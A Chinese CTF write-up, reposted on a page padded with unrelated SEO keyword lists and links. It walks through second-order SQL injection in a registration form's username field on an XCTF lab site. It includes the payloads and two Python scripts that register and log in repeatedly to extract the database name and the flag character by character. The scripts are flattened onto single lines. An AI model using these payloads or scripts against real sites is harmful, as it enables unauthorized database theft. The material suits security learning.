当前位置: 首页 > news >正文

正规的装饰行业网站建设公司国际国内热点新闻事件

正规的装饰行业网站建设公司,国际国内热点新闻事件,时事新闻最新消息,wordpress问答社区主题使用ctf在线靶场https://adworld.xctf.org.cn/home/index。 进入靶场,发现是一个登录页面。 使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。 访问一下register.php试试,发现是一个注册页面…

使用ctf在线靶场https://adworld.xctf.org.cn/home/index。

进入靶场,发现是一个登录页面。

在这里插入图片描述

使用awvs进行扫描,发现存在login.php和register.php,并且register.php存在sql注入漏洞。

在这里插入图片描述

访问一下register.php试试,发现是一个注册页面。

在这里插入图片描述

在邮箱、用户名、密码分别尝试sql注入。

发现邮箱后面不允许添加符号’等,密码添加’等会被当做字符传入,而在用户名的地方输入’,注册失败,怀疑是在用户名处存在sql注入。

随便注册一个试试。

在这里插入图片描述

登陆进去发现,在页面中存在用户名的显示。

在用户名处输入

dhh ' and '1'='1

注册成功,登陆查看用户名为0。基本确定为二次注入,注入点为用户名处。

在这里插入图片描述

使用burp判断被过滤的字符。初步爆破发现单引号、逗号、information被过滤。那就开始尝试

注册时,让用户名为select database(),尝试一下。

登陆后发现,用户名直接显示为select database()。那么猜测应该是被单引号或者双引号包裹起来,作为字符串了,尝试两种闭合。

在这里插入图片描述

使用1’+2+'1可以注册成功,那就证明单引号没被过滤掉,而且可以看出来后台接收语句应该是select…where username=‘username’。

开始尝试构建payload。

0'+database()+'0     #结果为0

在这里插入图片描述

尝试使用ascii进行转换为10进制尝试,下面是转换database()的第一个字符。

0'+ascii(substr((database()) from 1 for 1))+'0

在这里插入图片描述

查看ascii表,发现119为w,也就是当前数据库第一个字母为w。那证明目前的思路是正确的。

写python脚本进行爆破。

import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dhh{i}@163.com","username": f"0'+ascii(substr((database()) from {i} for 1))+'0;","password": "123"}data_login = {"email": f"dhh{i}@163.com","password": "123"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

额…不知道为什么爆破完库名之后还在输出。

目前为止二次注入的目的完成。

因为我们的目的不是为了拿到flag,所以我就上网查询了一下如何拿flag,并且写成payload

0'+ascii(substr((select * from flag) from 1 for 1))+'0
import requests
from bs4 import BeautifulSoupdef jieguo():name = ''url = 'http://61.147.171.105:58807/'url1 = url + 'register.php'url2 = url + 'login.php'for i in range(1, 100):data_register = {"email": f"dh{i}@163.com","username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;","password": "1"}data_login = {"email": f"dh{i}@163.com", "password": "1"}response_regiseter = requests.post(url1, data=data_register)response_login = requests.post(url2, data=data_login)bs = BeautifulSoup(response_login.text, 'html.parser')  # bs4解析页面username = bs.find('span', class_='user-name')  # 取返回页面数据的span class=user-name属性number = username.text  # 取该属性的数字name += chr(int(number))print(name)if __name__ == '__main__':jieguo()

在这里插入图片描述

http://www.yayakq.cn/news/423180/

相关文章:

  • 如何建立收费网站个人网站制作多少钱
  • 深圳做网站-信科网络aspcms中引文 网站修改配置
  • 网站建设与推广协议书程序开发用什么笔记本
  • 常州网站建设书生商友北京网站推广排名公司
  • 新网站2个月没有收录视频网站上市公司有哪些
  • 做网站能拿多少钱天津建设工程合同备案网站
  • 自己做网站百度能收录码企业网站建设排名
  • 专门做店面装修设计的网站wordpress页面自定义页面跳转
  • 翻译网站建设建个网站需要多少钱? 知乎
  • 老鹰网网站建设黄冈网站推广代运营
  • 容桂网站制作价位网站开发 后端服务
  • 济南网站搜索排名seo搜索引擎优化关键词
  • 网站推广什么意思php 网站建设方案
  • app展示网站廊坊seo外包公司
  • php笑话网站源码酒类网站如何做
  • asp.net窗体网站查企业哪个软件好
  • 尺寸在线做图网站软件盒子wordpress
  • 大连建立网站公司重庆做网站_重庆网站建设_重庆网络推广_重庆网络公司
  • 免费查公司seo是什么职位的简称
  • 电脑怎么装免费wordpressseo外链专员
  • vc做网站郑州网站建站网站
  • 装饰网站建设方案重庆英文网站建设
  • html5炫酷的网站微信网站用什么做的
  • 网站第一步建立安康市移动公司
  • 网站建设合同属于印花税的哪个税目密云网站开发
  • 个人建设网站难吗建设网站公司哪里好
  • 网站 反链用什么程序做网站
  • ps怎么做网站logo虚拟主机服务
  • 怎么在国外网站买东西自学网页设计需要学习什么
  • 小企业网站如何建设好河南最新新闻头条